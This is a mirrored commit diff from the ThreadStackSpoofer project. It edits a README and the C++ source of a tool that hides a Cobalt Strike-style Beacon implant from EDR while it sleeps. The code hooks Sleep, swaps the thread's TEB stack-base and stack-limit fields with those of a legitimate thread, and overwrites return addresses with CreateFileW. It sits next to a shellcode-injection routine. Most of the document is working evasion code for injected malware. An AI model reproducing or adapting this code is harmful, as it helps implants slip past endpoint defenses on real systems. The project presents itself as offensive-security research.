mirror of
https://github.com/mgeeky/ThreadStackSpoofer
synced 2026-06-06 16:14:32 +00:00
readme
This commit is contained in:
@@ -94,7 +94,15 @@ Surely this project (and commercial implementation found in C2 frameworks) gives
|
||||
|
||||
The research on the subject is not yet finished and hopefully will result in a better quality _Stack Spoofing_ in upcoming days. Nonetheless, I'm releasing what I got so far in hope of sparkling inspirations and interest community into further researching this area.
|
||||
|
||||
Next areas improving the outcome are to research how we can _exchange_ or copy stacks (utilising [`GetCurrentThreadStackLimits`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadstacklimits)/`NtQueryInformationThread`) from a legitimate thread running `kernel32!Sleep(INFINITE)` or possibly by manipulating our Beacon's thread `TEB/TIB` structures and fields such as `TebBaseAddress` providing shadowed TEB. Another idea would be to play with `RBP/EBP` and `RSP/ESP` pointers on a paused Beacon's thread to change stacks in a similar manner to ROP chains.
|
||||
Next areas for improving the outcome are to research how we can _exchange_ or copy stacks with one of the following ideas:
|
||||
|
||||
1. utilising [`GetCurrentThreadStackLimits`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadstacklimits)/`NtQueryInformationThread`) from a legitimate thread running `kernel32!Sleep(INFINITE)`
|
||||
|
||||
2. manipulating our Beacon's thread `TEB/TIB` structures and fields such as `TebBaseAddress`, `NT_TIB.StackBase / NT_TIB.StackLimit` by swapping them with values taken from another legitimate thread.
|
||||
|
||||
3. playing with `RBP/EBP` and `RSP/ESP` pointers on a paused Beacon's thread to change stacks in a similar manner to ROP chains - by swapping values of these registers while Beacon's thread is suspended.
|
||||
|
||||
4. Create a new user stack with `RtlCreateUserStack` / `RtlFreeUserStack` and exchange stacks from a Beacons thread into that newly created one
|
||||
|
||||
|
||||
## Example run
|
||||
|
||||
@@ -32,6 +32,19 @@ typedef BOOL(__stdcall* typeSymInitialize)(
|
||||
|
||||
typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;
|
||||
|
||||
struct EXCEPTION_REGISTRATION
|
||||
{
|
||||
void* handler;
|
||||
void* prevHandler;
|
||||
};
|
||||
|
||||
struct Start_Of_TEB
|
||||
{
|
||||
EXCEPTION_REGISTRATION* ExceptionList;
|
||||
void* StackBase;
|
||||
void* StackLimit;
|
||||
};
|
||||
|
||||
struct CallStackFrame
|
||||
{
|
||||
ULONG_PTR calledFrom;
|
||||
@@ -51,9 +64,11 @@ struct StackTraceSpoofingMetadata
|
||||
LPVOID pSymGetModuleBase64;
|
||||
bool initialized;
|
||||
CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
|
||||
CallStackFrame mimicFrame[MaxStackFramesToSpoof];
|
||||
size_t spoofedFrames;
|
||||
size_t mimickedFrames;
|
||||
ULONG_PTR legitTebBaseLow;
|
||||
ULONG_PTR legitTebBaseHigh;
|
||||
ULONG_PTR origTebBaseLow;
|
||||
ULONG_PTR origTebBaseHigh;
|
||||
};
|
||||
|
||||
struct HookedSleep
|
||||
|
||||
+29
-26
@@ -1,5 +1,6 @@
|
||||
|
||||
#include "header.h"
|
||||
#include <intrin.h>
|
||||
|
||||
HookedSleep g_hookedSleep;
|
||||
StackTraceSpoofingMetadata g_stackTraceSpoofing;
|
||||
@@ -10,15 +11,30 @@ void WINAPI MySleep(DWORD _dwMilliseconds)
|
||||
const volatile DWORD dwMilliseconds = _dwMilliseconds;
|
||||
|
||||
// Perform this (current) thread call stack spoofing.
|
||||
spoofCallStack(true);
|
||||
//spoofCallStack(true);
|
||||
|
||||
log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
|
||||
|
||||
PULONG_PTR ptr = (PULONG_PTR)_AddressOfReturnAddress();
|
||||
ptr--;
|
||||
|
||||
|
||||
Start_Of_TEB* teb = (Start_Of_TEB*)NtCurrentTeb();
|
||||
g_stackTraceSpoofing.origTebBaseLow = (ULONG_PTR)teb->StackBase;
|
||||
g_stackTraceSpoofing.origTebBaseHigh = (ULONG_PTR)teb->StackLimit;
|
||||
|
||||
teb->StackBase = (void*)g_stackTraceSpoofing.legitTebBaseLow;
|
||||
teb->StackLimit = (void*)g_stackTraceSpoofing.legitTebBaseHigh;
|
||||
|
||||
// Perform sleep emulating originally hooked functionality.
|
||||
::SleepEx(dwMilliseconds, false);
|
||||
|
||||
|
||||
teb->StackBase = (void*)g_stackTraceSpoofing.origTebBaseLow;
|
||||
teb->StackLimit = (void*)g_stackTraceSpoofing.origTebBaseHigh;
|
||||
|
||||
// Restore original thread's call stack.
|
||||
spoofCallStack(false);
|
||||
//spoofCallStack(false);
|
||||
}
|
||||
|
||||
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers /*= NULL*/)
|
||||
@@ -267,23 +283,14 @@ void spoofCallStack(bool overwriteOrRestore)
|
||||
{
|
||||
for (size_t i = 0; i < numOfFrames; i++)
|
||||
{
|
||||
if (i > g_stackTraceSpoofing.mimickedFrames)
|
||||
{
|
||||
CallStackFrame frame = { 0 };
|
||||
g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
|
||||
break;
|
||||
}
|
||||
|
||||
auto& frame = frames[i];
|
||||
auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i];
|
||||
|
||||
if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
|
||||
{
|
||||
//
|
||||
// We will use CreateFileW as a fake return address to place onto the thread's frame on stack.
|
||||
//
|
||||
//frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
|
||||
frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr;
|
||||
frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
|
||||
|
||||
//
|
||||
// We're saving original frame to later use it for call stack restoration.
|
||||
@@ -454,17 +461,15 @@ bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
|
||||
return (NULL != thread.get());
|
||||
}
|
||||
|
||||
/*
|
||||
void _acquireLegitimateThreadStack(LPVOID param)
|
||||
|
||||
void WINAPI _acquireLegitimateThreadStack(LPVOID param)
|
||||
{
|
||||
ULONG_PTR lowLimit = 0, highLimit = 0;
|
||||
ULONG stackSize = highLimit - lowLimit;
|
||||
GetCurrentThreadStackLimits(&lowLimit, &highLimit);
|
||||
|
||||
g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0);
|
||||
memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize);
|
||||
Start_Of_TEB* teb = (Start_Of_TEB*)NtCurrentTeb();
|
||||
g_stackTraceSpoofing.legitTebBaseLow = (ULONG_PTR)teb->StackBase;
|
||||
g_stackTraceSpoofing.legitTebBaseHigh = (ULONG_PTR)teb->StackLimit;
|
||||
|
||||
::SleepEx(INFINITE, false);
|
||||
}
|
||||
*/
|
||||
|
||||
bool acquireLegitimateThreadStack()
|
||||
{
|
||||
@@ -474,7 +479,8 @@ bool acquireLegitimateThreadStack()
|
||||
HandlePtr secondThread(::CreateThread(
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)::Sleep,
|
||||
//(LPTHREAD_START_ROUTINE)::Sleep,
|
||||
(LPTHREAD_START_ROUTINE)_acquireLegitimateThreadStack,
|
||||
(LPVOID)INFINITE,
|
||||
0,
|
||||
0
|
||||
@@ -482,12 +488,9 @@ bool acquireLegitimateThreadStack()
|
||||
|
||||
Sleep(1000);
|
||||
|
||||
walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0);
|
||||
|
||||
return g_stackTraceSpoofing.mimickedFrames > 0;
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc < 3)
|
||||
|
||||
Reference in New Issue
Block a user